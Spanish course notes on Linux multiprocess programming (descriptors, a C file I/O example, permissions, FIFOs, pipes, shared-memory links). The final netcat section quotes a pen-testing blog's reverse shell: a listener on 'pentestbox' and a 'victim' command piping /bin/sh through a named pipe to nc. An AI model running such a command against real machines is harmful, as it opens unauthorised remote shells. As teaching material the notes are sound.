# Programación multiproceso:
 -	Ejecutables. Procesos. Servicios.
 -	Estados de un proceso.
 -	Hilos.
 -	Programación concurrente.
 -	Programación paralela y distribuida.
 -	Comunicación entre procesos.
 -	Gestión de procesos.
 -	Sincronización entre procesos.
 -	Programación de aplicaciones multiproceso.

# Conceptos:
 - Descriptores
 - Ficheros
 - Pipes
   - Sin nombre
     - https://www.jesusninoc.com/2018/08/03/c-programming-in-linux-tutorial-037-pipe-function/
   - Con nombre
     - https://github.com/mememiguelo/PSP/blob/master/C/Otros/Fifo.c
     - https://github.com/mememiguelo/PSP/blob/master/C/Otros/fifocrea.c
     - https://github.com/mememiguelo/PSP/blob/master/C/Otros/fifoescribe.c
 - Sincronizar procesos
 - Señales
 - Creación procesos Java
 - Programación concurrente
 - Condiciones de Bernstein
 - Programación paralela
 - Memorias compartidas
 - Semáforos
 - Programación distribuida
 
---------------------

# Descriptores
|Valor|entero|Nombre
|---|---|---
|0|Entrada estándar|stdin
|1|Salida estándar|stdout
|2|Error estándar|stderr

---------------------

# Ficheros
### El programa abre el fichero para escritura, escribe un saludo y después cierra el fichero
```C
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void main (void)
{
	char saludo[]="Un saludo\n";
	char buffer [10];

	int fd, bytesleidos;

	fd = open("texto.txt", 1); //fichero se abre solo para escritura

	if( fd == -1 )
	{
		printf("ERROR AL ABRIR EL FICHERO ... \n");
		exit (-1);
	}

	printf("Escribo el saludo ... \n");

	write(fd, saludo, strlen(saludo));

	close(fd); //cierro el fichero
	
	fd = open("texto.txt", 0); //el fichero se abre solo para lectura
	
	printf("Contenido del Fichero: \n");

	//leo bytes de uno en uno y lo guardo en buffer
	bytesleidos= read(fd, buffer, 1);

	while (bytesleidos != 0) 
	{
		printf("%c", buffer[0]); // pinto el byte leido
		// leo otro byte
		bytesleidos=read(fd, buffer, 1);
	}
	close(fd);
}
```

---------------------

# Permisos
## Permisos en Linux
|Permiso|Explicación
|---|---
|- - -	= 0|no se tiene ningún permiso
|- - x	= 1|solo permiso de ejecución
|- w -	= 2|solo permiso de escritura
|- w x	= 3|permisos de escritura y ejecución
|r - -	= 4|solo permiso de lectura
|r - x	= 5|permisos de lectura y ejecución
|r w -	= 6|permisos de lectura y escritura
|r w x	= 7|todos los permisos establecidos, lectura, escritura y ejecución

## Comandos sobre permisos
|Command|Explain
|---|---
|chmod|modify file access rights
|su|temporarily become the superuser
|sudo|temporarily become the superuser
|chown|change file ownership
|chgrp|change a file's group ownership
|umask|mask

## Programación de permisos en Linux
https://www.jesusninoc.com/2015/01/19/programacion-de-permisos/

---------------------

# Pipes (intro)
Using mkfifo() is standardized and portable. Using mknod() in general, is not portable — it is a part of POSIX (despite a statement to the contrary in an earlier version of this answer). The POSIX specification says that mkfifo() should be preferred. Otherwise, there is no difference between a FIFO created by mkfifo() and mknod().
## Working with FIFO in a Shell
### Creating a FIFO
```Bash
mkfifo fifo
mknod fifo1 p
```
### Reading/ Writing data from/to a FIFO
```Bash
cat > fifo
ls -l fifo
```

---------------------

# Pipes
## Sin nombre
### Cuando el flujo de información va del padre hacia el hijo:
- El padre debe cerrar el descriptor de lectura fd[0].
- El hijo debe cerrar el descriptor de escritura fd[1].
### Cuando el flujo de información va del hijo hacia el padre ocurre lo contrario:
- El padre debe cerrar el descriptor de escritura fd[1].
- El hijo debe cerrar el descriptor de lectura fd[0].

---------------------

# Memorias compartidas
## Uso de las funciones ftok(), shmget(), shmat() y shmctl()
https://github.com/jesusninoc/ClasesPSP/blob/master/2017-10-24.md

## Programación de memorias compartidas en Linux
https://www.jesusninoc.com/2015/07/10/programacion-de-memorias-compartidas-en-linux/

## Utilizar zonas de memoria compartida en Linux mediante WSL desde PowerShell
https://www.jesusninoc.com/2018/06/25/utilizar-zonas-de-memoria-compartida-en-linux-mediante-wsl-desde-powershell/

---------------------

# Conexiones con NC
## Enviar un vídeo MP4 entre dos Linux mediante Netcat
* https://www.jesusninoc.com/11/12/enviar-un-video-mp4-entre-dos-linux-mediante-netcat/
## Simular el funcionamiento de un servidor web
* https://www.jesusninoc.com/04/30/simular-el-funcionamiento-de-un-servidor-web-utilizando-netcat-en-linux/
## Creating a shell
* https://www.jesusninoc.com/02/26/creating-shell/
## Netcat without -e? No Problem!
* https://pen-testing.sans.org/blog/2013/05/06/netcat-without-e-no-problem#

As before, we start with a Netcat listener waiting for the inbound shell:
```Bash
skodo@pentestbox# nc -nvlp 443
```
Now, on the target machine, I inject the following commands:
```Bash
victim$ mknod /tmp/backpipe p 
victim$ /bin/sh 0</tmp/backpipe | nc pentestbox 443 1>/tmp/backpipe
```
